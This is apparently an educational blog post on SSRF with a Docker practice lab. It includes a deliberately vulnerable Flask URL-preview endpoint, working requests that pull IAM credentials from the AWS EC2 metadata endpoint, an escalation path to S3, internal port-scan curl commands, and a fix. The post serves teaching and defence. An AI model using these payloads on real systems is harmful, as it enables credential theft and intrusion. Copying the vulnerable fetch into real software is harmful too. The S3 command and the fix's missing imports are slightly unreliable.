ssrfwebappseccloud DOCKER KIT

The 3 Lines That Owned the Internal Network

A "fetch by URL" feature. Three lines of backend code. Full access to every internal service. This is what SSRF looks like in the wild.

The feature seemed harmless: paste a URL, we fetch the page and show you a preview. You’ve seen it everywhere. Slack does it. Notion does it. Your company’s internal tool probably does it too.

Here’s the code that breaks it:

import requests
from flask import Flask, request

app = Flask(__name__)

@app.route('/preview')
def preview():
    url = request.args.get('url')
    resp = requests.get(url)          # line 1
    return resp.text                   # line 2

Two lines, not three. The third is the attack:

GET /preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

That URL is the AWS EC2 metadata endpoint. On any EC2 instance, it returns the IAM role’s temporary credentials — access key, secret key, session token. Three lines of code, full AWS access.

This is Server-Side Request Forgery. SSRF. It’s in the OWASP Top 10. It’s been the root cause of some of the biggest cloud breaches of the last decade.

Why This Keeps Happening

The mental model is wrong. Developers think about the user’s browser making requests. They add CORS headers, check Origin, validate input against XSS. But they forget that the server is also making a request — and the server has a completely different network context.

Your browser can’t reach 169.254.169.254. Your server can.

Your browser can’t reach your internal Kubernetes API at 10.0.0.1. Your server can.

Your browser can’t reach the Redis instance that has no auth because it’s “internal only.” Your server can.

When you write requests.get(url) with user-controlled input, you’re handing the attacker a network-connected browser that runs inside your VPC.

FACT

SSRF was the root cause of the 2019 Capital One breach — an attacker used it to steal IAM credentials from the EC2 metadata service and access over 100 million customer records.

The Escalation Chain

In practice, SSRF rarely stops at reading metadata. Here’s a realistic escalation path on AWS:

Step 1 — Enumerate the metadata service

GET /preview?url=http://169.254.169.254/latest/meta-data/

Returns: a list of available endpoints. The attacker knows the instance type, the region, the role name.

Step 2 — Steal credentials

GET /preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/my-app-role

Returns: AccessKeyId, SecretAccessKey, Token. Now the attacker has temporary AWS credentials.

Step 3 — Pivot to S3

AWS_ACCESS_KEY_ID=... aws s3 ls --no-sign-request

Returns: every S3 bucket the role can access. Customer data. Backups. Database dumps.

Step 4 — Lateral movement With AWS creds, you can enumerate EC2 instances, describe RDS databases, call Lambda functions — whatever the IAM role permits.

One fetch call. Complete internal network access.

Try It Yourself

The kit below spins up a Flask app with the vulnerable endpoint, a simulated EC2 metadata service, and a fake “internal” service that’s supposed to be unreachable.

DOCKER KIT — spin up the vulnerable app and attack it yourself:

docker run --rm -it -p 5000:5000 ayfr/lab-ssrf

Try these attacks once it’s running:

# Reach the "internal" admin panel
curl "http://localhost:5000/preview?url=http://internal-admin/"

# Hit the simulated metadata endpoint
curl "http://localhost:5000/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role"

# Port scan the internal network via the server
curl "http://localhost:5000/preview?url=http://10.0.0.1:22"

The kit includes a walkthrough guide and a fixed version of the vulnerable code to compare against.

The Fix

Allowlisting, not blocklisting. The common mistake is trying to block bad URLs:

# ❌ This doesn't work
BLOCKED = ['169.254.169.254', '10.', '172.16.', '192.168.']
if any(b in url for b in BLOCKED):
    return 'blocked'

Attackers bypass this with DNS rebinding, IPv6, URL encoding, redirects. You can’t enumerate all the ways a URL can point to an internal address.

The fix: only allow what you explicitly need.

from urllib.parse import urlparse

ALLOWED_HOSTS = {'preview.example.com', 'images.example.com'}

def safe_fetch(url):
    parsed = urlparse(url)
    if parsed.scheme not in ('http', 'https'):
        raise ValueError('invalid scheme')
    if parsed.hostname not in ALLOWED_HOSTS:
        raise ValueError('host not allowed')
    # Resolve the hostname and verify it's not RFC1918
    ip = socket.gethostbyname(parsed.hostname)
    if ipaddress.ip_address(ip).is_private:
        raise ValueError('private IP not allowed')
    return requests.get(url, allow_redirects=False, timeout=5)

Even better: proxy all outbound requests through a dedicated egress service that only allows specific destinations. Never make user-directed requests from inside your VPC.

The feature is a fetch. The footprint can be your entire cloud.